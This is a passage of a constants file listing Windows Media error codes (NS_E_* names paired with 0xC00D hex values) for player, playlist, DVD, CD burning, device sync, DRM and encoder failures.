NS_E_WMPCORE_PLAYLIST_NO_EVENT_NAME = 0xC00D10A5
NS_E_WMPCORE_PLAYLIST_EVENT_ATTRIBUTE_ABSENT = 0xC00D10A6
NS_E_WMPCORE_PLAYLIST_EVENT_EMPTY = 0xC00D10A7
NS_E_WMPCORE_PLAYLIST_STACK_EMPTY = 0xC00D10A8
NS_E_WMPCORE_CURRENT_MEDIA_NOT_ACTIVE = 0xC00D10A9
NS_E_WMPCORE_USER_CANCEL = 0xC00D10AB
NS_E_WMPCORE_PLAYLIST_REPEAT_EMPTY = 0xC00D10AC
NS_E_WMPCORE_PLAYLIST_REPEAT_START_MEDIA_NONE = 0xC00D10AD
NS_E_WMPCORE_PLAYLIST_REPEAT_END_MEDIA_NONE = 0xC00D10AE
NS_E_WMPCORE_INVALID_PLAYLIST_URL = 0xC00D10AF
NS_E_WMPCORE_MISMATCHED_RUNTIME = 0xC00D10B0
NS_E_WMPCORE_PLAYLIST_IMPORT_FAILED_NO_ITEMS = 0xC00D10B1
NS_E_WMPCORE_VIDEO_TRANSFORM_FILTER_INSERTION = 0xC00D10B2
NS_E_WMPCORE_MEDIA_UNAVAILABLE = 0xC00D10B3
NS_E_WMPCORE_WMX_ENTRYREF_NO_REF = 0xC00D10B4
NS_E_WMPCORE_NO_PLAYABLE_MEDIA_IN_PLAYLIST = 0xC00D10B5
NS_E_WMPCORE_PLAYLIST_EMPTY_NESTED_PLAYLIST_SKIPPED_ITEMS = 0xC00D10B6
NS_E_WMPCORE_BUSY = 0xC00D10B7
NS_E_WMPCORE_MEDIA_CHILD_PLAYLIST_UNAVAILABLE = 0xC00D10B8
NS_E_WMPCORE_MEDIA_NO_CHILD_PLAYLIST = 0xC00D10B9
NS_E_WMPCORE_FILE_NOT_FOUND = 0xC00D10BA
NS_E_WMPCORE_TEMP_FILE_NOT_FOUND = 0xC00D10BB
NS_E_WMDM_REVOKED = 0xC00D10BC
NS_E_DDRAW_GENERIC = 0xC00D10BD
NS_E_DISPLAY_MODE_CHANGE_FAILED = 0xC00D10BE
NS_E_PLAYLIST_CONTAINS_ERRORS = 0xC00D10BF
NS_E_CHANGING_PROXY_NAME = 0xC00D10C0
NS_E_CHANGING_PROXY_PORT = 0xC00D10C1
NS_E_CHANGING_PROXY_EXCEPTIONLIST = 0xC00D10C2
NS_E_CHANGING_PROXYBYPASS = 0xC00D10C3
NS_E_CHANGING_PROXY_PROTOCOL_NOT_FOUND = 0xC00D10C4
NS_E_GRAPH_NOAUDIOLANGUAGE = 0xC00D10C5
NS_E_GRAPH_NOAUDIOLANGUAGESELECTED = 0xC00D10C6
NS_E_CORECD_NOTAMEDIACD = 0xC00D10C7
NS_E_WMPCORE_MEDIA_URL_TOO_LONG = 0xC00D10C8
NS_E_WMPFLASH_CANT_FIND_COM_SERVER = 0xC00D10C9
NS_E_WMPFLASH_INCOMPATIBLEVERSION = 0xC00D10CA
NS_E_WMPOCXGRAPH_IE_DISALLOWS_ACTIVEX_CONTROLS = 0xC00D10CB
NS_E_NEED_CORE_REFERENCE = 0xC00D10CC
NS_E_MEDIACD_READ_ERROR = 0xC00D10CD
NS_E_IE_DISALLOWS_ACTIVEX_CONTROLS = 0xC00D10CE
NS_E_FLASH_PLAYBACK_NOT_ALLOWED = 0xC00D10CF
NS_E_UNABLE_TO_CREATE_RIP_LOCATION = 0xC00D10D0
NS_E_WMPCORE_SOME_CODECS_MISSING = 0xC00D10D1
NS_E_WMP_RIP_FAILED = 0xC00D10D2
NS_E_WMP_FAILED_TO_RIP_TRACK = 0xC00D10D3
NS_E_WMP_ERASE_FAILED = 0xC00D10D4
NS_E_WMP_FORMAT_FAILED = 0xC00D10D5
NS_E_WMP_CANNOT_BURN_NON_LOCAL_FILE = 0xC00D10D6
NS_E_WMP_FILE_TYPE_CANNOT_BURN_TO_AUDIO_CD = 0xC00D10D7
NS_E_WMP_FILE_DOES_NOT_FIT_ON_CD = 0xC00D10D8
NS_E_WMP_FILE_NO_DURATION = 0xC00D10D9
NS_E_PDA_FAILED_TO_BURN = 0xC00D10DA
NS_E_FAILED_DOWNLOAD_ABORT_BURN = 0xC00D10DC
NS_E_WMPCORE_DEVICE_DRIVERS_MISSING = 0xC00D10DD
NS_E_WMPIM_USEROFFLINE = 0xC00D1126
NS_E_WMPIM_USERCANCELED = 0xC00D1127
NS_E_WMPIM_DIALUPFAILED = 0xC00D1128
NS_E_WINSOCK_ERROR_STRING = 0xC00D1129
NS_E_WMPBR_NOLISTENER = 0xC00D1130
NS_E_WMPBR_BACKUPCANCEL = 0xC00D1131
NS_E_WMPBR_RESTORECANCEL = 0xC00D1132
NS_E_WMPBR_ERRORWITHURL = 0xC00D1133
NS_E_WMPBR_NAMECOLLISION = 0xC00D1134
NS_E_WMPBR_DRIVE_INVALID = 0xC00D1137
NS_E_WMPBR_BACKUPRESTOREFAILED = 0xC00D1138
NS_E_WMP_CONVERT_FILE_FAILED = 0xC00D1158
NS_E_WMP_CONVERT_NO_RIGHTS_ERRORURL = 0xC00D1159
NS_E_WMP_CONVERT_NO_RIGHTS_NOERRORURL = 0xC00D115A
NS_E_WMP_CONVERT_FILE_CORRUPT = 0xC00D115B
NS_E_WMP_CONVERT_PLUGIN_UNAVAILABLE_ERRORURL = 0xC00D115C
NS_E_WMP_CONVERT_PLUGIN_UNAVAILABLE_NOERRORURL = 0xC00D115D
NS_E_WMP_CONVERT_PLUGIN_UNKNOWN_FILE_OWNER = 0xC00D115E
NS_E_DVD_DISC_COPY_PROTECT_OUTPUT_NS = 0xC00D1160
NS_E_DVD_DISC_COPY_PROTECT_OUTPUT_FAILED = 0xC00D1161
NS_E_DVD_NO_SUBPICTURE_STREAM = 0xC00D1162
NS_E_DVD_COPY_PROTECT = 0xC00D1163
NS_E_DVD_AUTHORING_PROBLEM = 0xC00D1164
NS_E_DVD_INVALID_DISC_REGION = 0xC00D1165
NS_E_DVD_COMPATIBLE_VIDEO_CARD = 0xC00D1166
NS_E_DVD_MACROVISION = 0xC00D1167
NS_E_DVD_SYSTEM_DECODER_REGION = 0xC00D1168
NS_E_DVD_DISC_DECODER_REGION = 0xC00D1169
NS_E_DVD_NO_VIDEO_STREAM = 0xC00D116A
NS_E_DVD_NO_AUDIO_STREAM = 0xC00D116B
NS_E_DVD_GRAPH_BUILDING = 0xC00D116C
NS_E_DVD_NO_DECODER = 0xC00D116D
NS_E_DVD_PARENTAL = 0xC00D116E
NS_E_DVD_CANNOT_JUMP = 0xC00D116F
NS_E_DVD_DEVICE_CONTENTION = 0xC00D1170
NS_E_DVD_NO_VIDEO_MEMORY = 0xC00D1171
NS_E_DVD_CANNOT_COPY_PROTECTED = 0xC00D1172
NS_E_DVD_REQUIRED_PROPERTY_NOT_SET = 0xC00D1173
NS_E_DVD_INVALID_TITLE_CHAPTER = 0xC00D1174
NS_E_NO_CD_BURNER = 0xC00D1176
NS_E_DEVICE_IS_NOT_READY = 0xC00D1177
NS_E_PDA_UNSUPPORTED_FORMAT = 0xC00D1178
NS_E_NO_PDA = 0xC00D1179
NS_E_PDA_UNSPECIFIED_ERROR = 0xC00D117A
NS_E_MEMSTORAGE_BAD_DATA = 0xC00D117B
NS_E_PDA_FAIL_SELECT_DEVICE = 0xC00D117C
NS_E_PDA_FAIL_READ_WAVE_FILE = 0xC00D117D
NS_E_IMAPI_LOSSOFSTREAMING = 0xC00D117E
NS_E_PDA_DEVICE_FULL = 0xC00D117F
NS_E_FAIL_LAUNCH_ROXIO_PLUGIN = 0xC00D1180
NS_E_PDA_DEVICE_FULL_IN_SESSION = 0xC00D1181
NS_E_IMAPI_MEDIUM_INVALIDTYPE = 0xC00D1182
NS_E_PDA_MANUALDEVICE = 0xC00D1183
NS_E_PDA_PARTNERSHIPNOTEXIST = 0xC00D1184
NS_E_PDA_CANNOT_CREATE_ADDITIONAL_SYNC_RELATIONSHIP = 0xC00D1185
NS_E_PDA_NO_TRANSCODE_OF_DRM = 0xC00D1186
NS_E_PDA_TRANSCODECACHEFULL = 0xC00D1187
NS_E_PDA_TOO_MANY_FILE_COLLISIONS = 0xC00D1188
NS_E_PDA_CANNOT_TRANSCODE = 0xC00D1189
NS_E_PDA_TOO_MANY_FILES_IN_DIRECTORY = 0xC00D118A
NS_E_PROCESSINGSHOWSYNCWIZARD = 0xC00D118B
NS_E_PDA_TRANSCODE_NOT_PERMITTED = 0xC00D118C
NS_E_PDA_INITIALIZINGDEVICES = 0xC00D118D
NS_E_PDA_OBSOLETE_SP = 0xC00D118E
NS_E_PDA_TITLE_COLLISION = 0xC00D118F
NS_E_PDA_DEVICESUPPORTDISABLED = 0xC00D1190
NS_E_PDA_NO_LONGER_AVAILABLE = 0xC00D1191
NS_E_PDA_ENCODER_NOT_RESPONDING = 0xC00D1192
NS_E_PDA_CANNOT_SYNC_FROM_LOCATION = 0xC00D1193
NS_E_WMP_PROTOCOL_PROBLEM = 0xC00D1194
NS_E_WMP_NO_DISK_SPACE = 0xC00D1195
NS_E_WMP_LOGON_FAILURE = 0xC00D1196
NS_E_WMP_CANNOT_FIND_FILE = 0xC00D1197
NS_E_WMP_SERVER_INACCESSIBLE = 0xC00D1198
NS_E_WMP_UNSUPPORTED_FORMAT = 0xC00D1199
NS_E_WMP_DSHOW_UNSUPPORTED_FORMAT = 0xC00D119A
NS_E_WMP_PLAYLIST_EXISTS = 0xC00D119B
NS_E_WMP_NONMEDIA_FILES = 0xC00D119C
NS_E_WMP_INVALID_ASX = 0xC00D119D
NS_E_WMP_ALREADY_IN_USE = 0xC00D119E
NS_E_WMP_IMAPI_FAILURE = 0xC00D119F
NS_E_WMP_WMDM_FAILURE = 0xC00D11A0
NS_E_WMP_CODEC_NEEDED_WITH_4CC = 0xC00D11A1
NS_E_WMP_CODEC_NEEDED_WITH_FORMATTAG = 0xC00D11A2
NS_E_WMP_MSSAP_NOT_AVAILABLE = 0xC00D11A3
NS_E_WMP_WMDM_INTERFACEDEAD = 0xC00D11A4
NS_E_WMP_WMDM_NOTCERTIFIED = 0xC00D11A5
NS_E_WMP_WMDM_LICENSE_NOTEXIST = 0xC00D11A6
NS_E_WMP_WMDM_LICENSE_EXPIRED = 0xC00D11A7
NS_E_WMP_WMDM_BUSY = 0xC00D11A8
NS_E_WMP_WMDM_NORIGHTS = 0xC00D11A9
NS_E_WMP_WMDM_INCORRECT_RIGHTS = 0xC00D11AA
NS_E_WMP_IMAPI_GENERIC = 0xC00D11AB
NS_E_WMP_IMAPI_DEVICE_NOTPRESENT = 0xC00D11AD
NS_E_WMP_IMAPI_DEVICE_BUSY = 0xC00D11AE
NS_E_WMP_IMAPI_LOSS_OF_STREAMING = 0xC00D11AF
NS_E_WMP_SERVER_UNAVAILABLE = 0xC00D11B0
NS_E_WMP_FILE_OPEN_FAILED = 0xC00D11B1
NS_E_WMP_VERIFY_ONLINE = 0xC00D11B2
NS_E_WMP_SERVER_NOT_RESPONDING = 0xC00D11B3
NS_E_WMP_DRM_CORRUPT_BACKUP = 0xC00D11B4
NS_E_WMP_DRM_LICENSE_SERVER_UNAVAILABLE = 0xC00D11B5
NS_E_WMP_NETWORK_FIREWALL = 0xC00D11B6
NS_E_WMP_NO_REMOVABLE_MEDIA = 0xC00D11B7
NS_E_WMP_PROXY_CONNECT_TIMEOUT = 0xC00D11B8
NS_E_WMP_NEED_UPGRADE = 0xC00D11B9
NS_E_WMP_AUDIO_HW_PROBLEM = 0xC00D11BA
NS_E_WMP_INVALID_PROTOCOL = 0xC00D11BB
NS_E_WMP_INVALID_LIBRARY_ADD = 0xC00D11BC
NS_E_WMP_MMS_NOT_SUPPORTED = 0xC00D11BD
NS_E_WMP_NO_PROTOCOLS_SELECTED = 0xC00D11BE
NS_E_WMP_GOFULLSCREEN_FAILED = 0xC00D11BF
NS_E_WMP_NETWORK_ERROR = 0xC00D11C0
NS_E_WMP_CONNECT_TIMEOUT = 0xC00D11C1
NS_E_WMP_MULTICAST_DISABLED = 0xC00D11C2
NS_E_WMP_SERVER_DNS_TIMEOUT = 0xC00D11C3
NS_E_WMP_PROXY_NOT_FOUND = 0xC00D11C4
NS_E_WMP_TAMPERED_CONTENT = 0xC00D11C5
NS_E_WMP_OUTOFMEMORY = 0xC00D11C6
NS_E_WMP_AUDIO_CODEC_NOT_INSTALLED = 0xC00D11C7
NS_E_WMP_VIDEO_CODEC_NOT_INSTALLED = 0xC00D11C8
NS_E_WMP_IMAPI_DEVICE_INVALIDTYPE = 0xC00D11C9
NS_E_WMP_DRM_DRIVER_AUTH_FAILURE = 0xC00D11CA
NS_E_WMP_NETWORK_RESOURCE_FAILURE = 0xC00D11CB
NS_E_WMP_UPGRADE_APPLICATION = 0xC00D11CC
NS_E_WMP_UNKNOWN_ERROR = 0xC00D11CD
NS_E_WMP_INVALID_KEY = 0xC00D11CE
NS_E_WMP_CD_ANOTHER_USER = 0xC00D11CF
NS_E_WMP_DRM_NEEDS_AUTHORIZATION = 0xC00D11D0
NS_E_WMP_BAD_DRIVER = 0xC00D11D1
NS_E_WMP_ACCESS_DENIED = 0xC00D11D2
NS_E_WMP_LICENSE_RESTRICTS = 0xC00D11D3
NS_E_WMP_INVALID_REQUEST = 0xC00D11D4
NS_E_WMP_CD_STASH_NO_SPACE = 0xC00D11D5
NS_E_WMP_DRM_NEW_HARDWARE = 0xC00D11D6
NS_E_WMP_DRM_INVALID_SIG = 0xC00D11D7
NS_E_WMP_DRM_CANNOT_RESTORE = 0xC00D11D8
NS_E_WMP_BURN_DISC_OVERFLOW = 0xC00D11D9
NS_E_WMP_DRM_GENERIC_LICENSE_FAILURE = 0xC00D11DA
NS_E_WMP_DRM_NO_SECURE_CLOCK = 0xC00D11DB
NS_E_WMP_DRM_NO_RIGHTS = 0xC00D11DC
NS_E_WMP_DRM_INDIV_FAILED = 0xC00D11DD
NS_E_WMP_SERVER_NONEWCONNECTIONS = 0xC00D11DE
NS_E_WMP_MULTIPLE_ERROR_IN_PLAYLIST = 0xC00D11DF
NS_E_WMP_IMAPI2_ERASE_FAIL = 0xC00D11E0
NS_E_WMP_IMAPI2_ERASE_DEVICE_BUSY = 0xC00D11E1
NS_E_WMP_DRM_COMPONENT_FAILURE = 0xC00D11E2
NS_E_WMP_DRM_NO_DEVICE_CERT = 0xC00D11E3
NS_E_WMP_SERVER_SECURITY_ERROR = 0xC00D11E4
NS_E_WMP_AUDIO_DEVICE_LOST = 0xC00D11E5
NS_E_WMP_IMAPI_MEDIA_INCOMPATIBLE = 0xC00D11E6
NS_E_SYNCWIZ_DEVICE_FULL = 0xC00D11EE
NS_E_SYNCWIZ_CANNOT_CHANGE_SETTINGS = 0xC00D11EF
NS_E_TRANSCODE_DELETECACHEERROR = 0xC00D11F0
NS_E_CD_NO_BUFFERS_READ = 0xC00D11F8
NS_E_CD_EMPTY_TRACK_QUEUE = 0xC00D11F9
NS_E_CD_NO_READER = 0xC00D11FA
NS_E_CD_ISRC_INVALID = 0xC00D11FB
NS_E_CD_MEDIA_CATALOG_NUMBER_INVALID = 0xC00D11FC
NS_E_SLOW_READ_DIGITAL_WITH_ERRORCORRECTION = 0xC00D11FD
NS_E_CD_SPEEDDETECT_NOT_ENOUGH_READS = 0xC00D11FE
NS_E_CD_QUEUEING_DISABLED = 0xC00D11FF
NS_E_WMP_DRM_ACQUIRING_LICENSE = 0xC00D1202
NS_E_WMP_DRM_LICENSE_EXPIRED = 0xC00D1203
NS_E_WMP_DRM_LICENSE_NOTACQUIRED = 0xC00D1204
NS_E_WMP_DRM_LICENSE_NOTENABLED = 0xC00D1205
NS_E_WMP_DRM_LICENSE_UNUSABLE = 0xC00D1206
NS_E_WMP_DRM_LICENSE_CONTENT_REVOKED = 0xC00D1207
NS_E_WMP_DRM_LICENSE_NOSAP = 0xC00D1208
NS_E_WMP_DRM_UNABLE_TO_ACQUIRE_LICENSE = 0xC00D1209
NS_E_WMP_LICENSE_REQUIRED = 0xC00D120A
NS_E_WMP_PROTECTED_CONTENT = 0xC00D120B
NS_E_WMP_POLICY_VALUE_NOT_CONFIGURED = 0xC00D122A
NS_E_PDA_CANNOT_SYNC_FROM_INTERNET = 0xC00D1234
NS_E_PDA_CANNOT_SYNC_INVALID_PLAYLIST = 0xC00D1235
NS_E_PDA_FAILED_TO_SYNCHRONIZE_FILE = 0xC00D1236
NS_E_PDA_SYNC_FAILED = 0xC00D1237
NS_E_PDA_DELETE_FAILED = 0xC00D1238
NS_E_PDA_FAILED_TO_RETRIEVE_FILE = 0xC00D1239
NS_E_PDA_DEVICE_NOT_RESPONDING = 0xC00D123A
NS_E_PDA_FAILED_TO_TRANSCODE_PHOTO = 0xC00D123B
NS_E_PDA_FAILED_TO_ENCRYPT_TRANSCODED_FILE = 0xC00D123C
NS_E_PDA_CANNOT_TRANSCODE_TO_AUDIO = 0xC00D123D
NS_E_PDA_CANNOT_TRANSCODE_TO_VIDEO = 0xC00D123E
NS_E_PDA_CANNOT_TRANSCODE_TO_IMAGE = 0xC00D123F
NS_E_PDA_RETRIEVED_FILE_FILENAME_TOO_LONG = 0xC00D1240
NS_E_PDA_CEWMDM_DRM_ERROR = 0xC00D1241
NS_E_INCOMPLETE_PLAYLIST = 0xC00D1242
NS_E_PDA_SYNC_RUNNING = 0xC00D1243
NS_E_PDA_SYNC_LOGIN_ERROR = 0xC00D1244
NS_E_PDA_TRANSCODE_CODEC_NOT_FOUND = 0xC00D1245
NS_E_CANNOT_SYNC_DRM_TO_NON_JANUS_DEVICE = 0xC00D1246
NS_E_CANNOT_SYNC_PREVIOUS_SYNC_RUNNING = 0xC00D1247
NS_E_WMP_HWND_NOTFOUND = 0xC00D125C
NS_E_BKGDOWNLOAD_WRONG_NO_FILES = 0xC00D125D
NS_E_BKGDOWNLOAD_COMPLETECANCELLEDJOB = 0xC00D125E
NS_E_BKGDOWNLOAD_CANCELCOMPLETEDJOB = 0xC00D125F
NS_E_BKGDOWNLOAD_NOJOBPOINTER = 0xC00D1260
NS_E_BKGDOWNLOAD_INVALIDJOBSIGNATURE = 0xC00D1261
NS_E_BKGDOWNLOAD_FAILED_TO_CREATE_TEMPFILE = 0xC00D1262
NS_E_BKGDOWNLOAD_PLUGIN_FAILEDINITIALIZE = 0xC00D1263
NS_E_BKGDOWNLOAD_PLUGIN_FAILEDTOMOVEFILE = 0xC00D1264
NS_E_BKGDOWNLOAD_CALLFUNCFAILED = 0xC00D1265
NS_E_BKGDOWNLOAD_CALLFUNCTIMEOUT = 0xC00D1266
NS_E_BKGDOWNLOAD_CALLFUNCENDED = 0xC00D1267
NS_E_BKGDOWNLOAD_WMDUNPACKFAILED = 0xC00D1268
NS_E_BKGDOWNLOAD_FAILEDINITIALIZE = 0xC00D1269
NS_E_INTERFACE_NOT_REGISTERED_IN_GIT = 0xC00D126A
NS_E_BKGDOWNLOAD_INVALID_FILE_NAME = 0xC00D126B
NS_E_IMAGE_DOWNLOAD_FAILED = 0xC00D128E
NS_E_WMP_UDRM_NOUSERLIST = 0xC00D12C0
NS_E_WMP_DRM_NOT_ACQUIRING = 0xC00D12C1
NS_E_WMP_BSTR_TOO_LONG = 0xC00D12F2
NS_E_WMP_AUTOPLAY_INVALID_STATE = 0xC00D12FC
NS_E_WMP_COMPONENT_REVOKED = 0xC00D1306
NS_E_CURL_NOTSAFE = 0xC00D1324
NS_E_CURL_INVALIDCHAR = 0xC00D1325
NS_E_CURL_INVALIDHOSTNAME = 0xC00D1326
NS_E_CURL_INVALIDPATH = 0xC00D1327
NS_E_CURL_INVALIDSCHEME = 0xC00D1328
NS_E_CURL_INVALIDURL = 0xC00D1329
NS_E_CURL_CANTWALK = 0xC00D132B
NS_E_CURL_INVALIDPORT = 0xC00D132C
NS_E_CURLHELPER_NOTADIRECTORY = 0xC00D132D
NS_E_CURLHELPER_NOTAFILE = 0xC00D132E
NS_E_CURL_CANTDECODE = 0xC00D132F
NS_E_CURLHELPER_NOTRELATIVE = 0xC00D1330
NS_E_CURL_INVALIDBUFFERSIZE = 0xC00D1331
NS_E_SUBSCRIPTIONSERVICE_PLAYBACK_DISALLOWED = 0xC00D1356
NS_E_CANNOT_BUY_OR_DOWNLOAD_FROM_MULTIPLE_SERVICES = 0xC00D1357
NS_E_CANNOT_BUY_OR_DOWNLOAD_CONTENT = 0xC00D1358
NS_E_NOT_CONTENT_PARTNER_TRACK = 0xC00D135A
NS_E_TRACK_DOWNLOAD_REQUIRES_ALBUM_PURCHASE = 0xC00D135B
NS_E_TRACK_DOWNLOAD_REQUIRES_PURCHASE = 0xC00D135C
NS_E_TRACK_PURCHASE_MAXIMUM_EXCEEDED = 0xC00D135D
NS_E_SUBSCRIPTIONSERVICE_LOGIN_FAILED = 0xC00D135F
NS_E_SUBSCRIPTIONSERVICE_DOWNLOAD_TIMEOUT = 0xC00D1360
NS_E_CONTENT_PARTNER_STILL_INITIALIZING = 0xC00D1362
NS_E_OPEN_CONTAINING_FOLDER_FAILED = 0xC00D1363
NS_E_ADVANCEDEDIT_TOO_MANY_PICTURES = 0xC00D136A
NS_E_REDIRECT = 0xC00D1388
NS_E_STALE_PRESENTATION = 0xC00D1389
NS_E_NAMESPACE_WRONG_PERSIST = 0xC00D138A
NS_E_NAMESPACE_WRONG_TYPE = 0xC00D138B
NS_E_NAMESPACE_NODE_CONFLICT = 0xC00D138C
NS_E_NAMESPACE_NODE_NOT_FOUND = 0xC00D138D
NS_E_NAMESPACE_BUFFER_TOO_SMALL = 0xC00D138E
NS_E_NAMESPACE_TOO_MANY_CALLBACKS = 0xC00D138F
NS_E_NAMESPACE_DUPLICATE_CALLBACK = 0xC00D1390
NS_E_NAMESPACE_CALLBACK_NOT_FOUND = 0xC00D1391
NS_E_NAMESPACE_NAME_TOO_LONG = 0xC00D1392
NS_E_NAMESPACE_DUPLICATE_NAME = 0xC00D1393
NS_E_NAMESPACE_EMPTY_NAME = 0xC00D1394
NS_E_NAMESPACE_INDEX_TOO_LARGE = 0xC00D1395
NS_E_NAMESPACE_BAD_NAME = 0xC00D1396
NS_E_NAMESPACE_WRONG_SECURITY = 0xC00D1397
NS_E_CACHE_ARCHIVE_CONFLICT = 0xC00D13EC
NS_E_CACHE_ORIGIN_SERVER_NOT_FOUND = 0xC00D13ED
NS_E_CACHE_ORIGIN_SERVER_TIMEOUT = 0xC00D13EE
NS_E_CACHE_NOT_BROADCAST = 0xC00D13EF
NS_E_CACHE_CANNOT_BE_CACHED = 0xC00D13F0
NS_E_CACHE_NOT_MODIFIED = 0xC00D13F1
NS_E_CANNOT_REMOVE_PUBLISHING_POINT = 0xC00D1450
NS_E_CANNOT_REMOVE_PLUGIN = 0xC00D1451
NS_E_WRONG_PUBLISHING_POINT_TYPE = 0xC00D1452
NS_E_UNSUPPORTED_LOAD_TYPE = 0xC00D1453
NS_E_INVALID_PLUGIN_LOAD_TYPE_CONFIGURATION = 0xC00D1454
NS_E_INVALID_PUBLISHING_POINT_NAME = 0xC00D1455
NS_E_TOO_MANY_MULTICAST_SINKS = 0xC00D1456
NS_E_PUBLISHING_POINT_INVALID_REQUEST_WHILE_STARTED = 0xC00D1457
NS_E_MULTICAST_PLUGIN_NOT_ENABLED = 0xC00D1458
NS_E_INVALID_OPERATING_SYSTEM_VERSION = 0xC00D1459
NS_E_PUBLISHING_POINT_REMOVED = 0xC00D145A
NS_E_INVALID_PUSH_PUBLISHING_POINT_START_REQUEST = 0xC00D145B
NS_E_UNSUPPORTED_LANGUAGE = 0xC00D145C
NS_E_WRONG_OS_VERSION = 0xC00D145D
NS_E_PUBLISHING_POINT_STOPPED = 0xC00D145E
NS_E_PLAYLIST_ENTRY_ALREADY_PLAYING = 0xC00D14B4
NS_E_EMPTY_PLAYLIST = 0xC00D14B5
NS_E_PLAYLIST_PARSE_FAILURE = 0xC00D14B6
NS_E_PLAYLIST_UNSUPPORTED_ENTRY = 0xC00D14B7
NS_E_PLAYLIST_ENTRY_NOT_IN_PLAYLIST = 0xC00D14B8
NS_E_PLAYLIST_ENTRY_SEEK = 0xC00D14B9
NS_E_PLAYLIST_RECURSIVE_PLAYLISTS = 0xC00D14BA
NS_E_PLAYLIST_TOO_MANY_NESTED_PLAYLISTS = 0xC00D14BB
NS_E_PLAYLIST_SHUTDOWN = 0xC00D14BC
NS_E_PLAYLIST_END_RECEDING = 0xC00D14BD
NS_E_DATAPATH_NO_SINK = 0xC00D1518
NS_E_INVALID_PUSH_TEMPLATE = 0xC00D151A
NS_E_INVALID_PUSH_PUBLISHING_POINT = 0xC00D151B
NS_E_CRITICAL_ERROR = 0xC00D151C
NS_E_NO_NEW_CONNECTIONS = 0xC00D151D
NS_E_WSX_INVALID_VERSION = 0xC00D151E
NS_E_HEADER_MISMATCH = 0xC00D151F
NS_E_PUSH_DUPLICATE_PUBLISHING_POINT_NAME = 0xC00D1520
NS_E_NO_SCRIPT_ENGINE = 0xC00D157C
NS_E_PLUGIN_ERROR_REPORTED = 0xC00D157D
NS_E_SOURCE_PLUGIN_NOT_FOUND = 0xC00D157E
NS_E_PLAYLIST_PLUGIN_NOT_FOUND = 0xC00D157F
NS_E_DATA_SOURCE_ENUMERATION_NOT_SUPPORTED = 0xC00D1580
NS_E_MEDIA_PARSER_INVALID_FORMAT = 0xC00D1581
NS_E_SCRIPT_DEBUGGER_NOT_INSTALLED = 0xC00D1582
NS_E_FEATURE_REQUIRES_ENTERPRISE_SERVER = 0xC00D1583
NS_E_WIZARD_RUNNING = 0xC00D1584
NS_E_INVALID_LOG_URL = 0xC00D1585
NS_E_INVALID_MTU_RANGE = 0xC00D1586
NS_E_INVALID_PLAY_STATISTICS = 0xC00D1587
NS_E_LOG_NEED_TO_BE_SKIPPED = 0xC00D1588
NS_E_HTTP_TEXT_DATACONTAINER_SIZE_LIMIT_EXCEEDED = 0xC00D1589
NS_E_PORT_IN_USE = 0xC00D158A
NS_E_PORT_IN_USE_HTTP = 0xC00D158B
NS_E_HTTP_TEXT_DATACONTAINER_INVALID_SERVER_RESPONSE = 0xC00D158C
NS_E_ARCHIVE_REACH_QUOTA = 0xC00D158D
NS_E_ARCHIVE_ABORT_DUE_TO_BCAST = 0xC00D158E
NS_E_ARCHIVE_GAP_DETECTED = 0xC00D158F
NS_E_AUTHORIZATION_FILE_NOT_FOUND = 0xC00D1590
NS_E_BAD_MARKIN = 0xC00D1B58
NS_E_BAD_MARKOUT = 0xC00D1B59
NS_E_NOMATCHING_MEDIASOURCE = 0xC00D1B5A
NS_E_UNSUPPORTED_SOURCETYPE = 0xC00D1B5B
NS_E_TOO_MANY_AUDIO = 0xC00D1B5C
NS_E_TOO_MANY_VIDEO = 0xC00D1B5D
NS_E_NOMATCHING_ELEMENT = 0xC00D1B5E
NS_E_MISMATCHED_MEDIACONTENT = 0xC00D1B5F
NS_E_CANNOT_DELETE_ACTIVE_SOURCEGROUP = 0xC00D1B60
NS_E_AUDIODEVICE_BUSY = 0xC00D1B61
NS_E_AUDIODEVICE_UNEXPECTED = 0xC00D1B62
NS_E_AUDIODEVICE_BADFORMAT = 0xC00D1B63
NS_E_VIDEODEVICE_BUSY = 0xC00D1B64
NS_E_VIDEODEVICE_UNEXPECTED = 0xC00D1B65
NS_E_INVALIDCALL_WHILE_ENCODER_RUNNING = 0xC00D1B66
NS_E_NO_PROFILE_IN_SOURCEGROUP = 0xC00D1B67
NS_E_VIDEODRIVER_UNSTABLE = 0xC00D1B68
NS_E_VIDCAPSTARTFAILED = 0xC00D1B69
NS_E_VIDSOURCECOMPRESSION = 0xC00D1B6A
NS_E_VIDSOURCESIZE = 0xC00D1B6B
NS_E_ICMQUERYFORMAT = 0xC00D1B6C
NS_E_VIDCAPCREATEWINDOW = 0xC00D1B6D
NS_E_VIDCAPDRVINUSE = 0xC00D1B6E
NS_E_NO_MEDIAFORMAT_IN_SOURCE = 0xC00D1B6F
NS_E_NO_VALID_OUTPUT_STREAM = 0xC00D1B70
NS_E_NO_VALID_SOURCE_PLUGIN = 0xC00D1B71
NS_E_NO_ACTIVE_SOURCEGROUP = 0xC00D1B72
NS_E_NO_SCRIPT_STREAM = 0xC00D1B73
NS_E_INVALIDCALL_WHILE_ARCHIVAL_RUNNING = 0xC00D1B74
NS_E_INVALIDPACKETSIZE = 0xC00D1B75
NS_E_PLUGIN_CLSID_INVALID = 0xC00D1B76
NS_E_UNSUPPORTED_ARCHIVETYPE = 0xC00D1B77
NS_E_UNSUPPORTED_ARCHIVEOPERATION = 0xC00D1B78
NS_E_ARCHIVE_FILENAME_NOTSET = 0xC00D1B79
NS_E_SOURCEGROUP_NOTPREPARED = 0xC00D1B7A
NS_E_PROFILE_MISMATCH = 0xC00D1B7B
NS_E_INCORRECTCLIPSETTINGS = 0xC00D1B7C
NS_E_NOSTATSAVAILABLE = 0xC00D1B7D
NS_E_NOTARCHIVING = 0xC00D1B7E
NS_E_INVALIDCALL_WHILE_ENCODER_STOPPED = 0xC00D1B7F
NS_E_NOSOURCEGROUPS = 0xC00D1B80
NS_E_INVALIDINPUTFPS = 0xC00D1B81
NS_E_NO_DATAVIEW_SUPPORT = 0xC00D1B82
NS_E_CODEC_UNAVAILABLE = 0xC00D1B83
NS_E_ARCHIVE_SAME_AS_INPUT = 0xC00D1B84
NS_E_SOURCE_NOTSPECIFIED = 0xC00D1B85
NS_E_NO_REALTIME_TIMECOMPRESSION = 0xC00D1B86
NS_E_UNSUPPORTED_ENCODER_DEVICE = 0xC00D1B87
NS_E_UNEXPECTED_DISPLAY_SETTINGS = 0xC00D1B88
NS_E_NO_AUDIODATA = 0xC00D1B89
NS_E_INPUTSOURCE_PROBLEM = 0xC00D1B8A
NS_E_WME_VERSION_MISMATCH = 0xC00D1B8B
NS_E_NO_REALTIME_PREPROCESS = 0xC00D1B8C
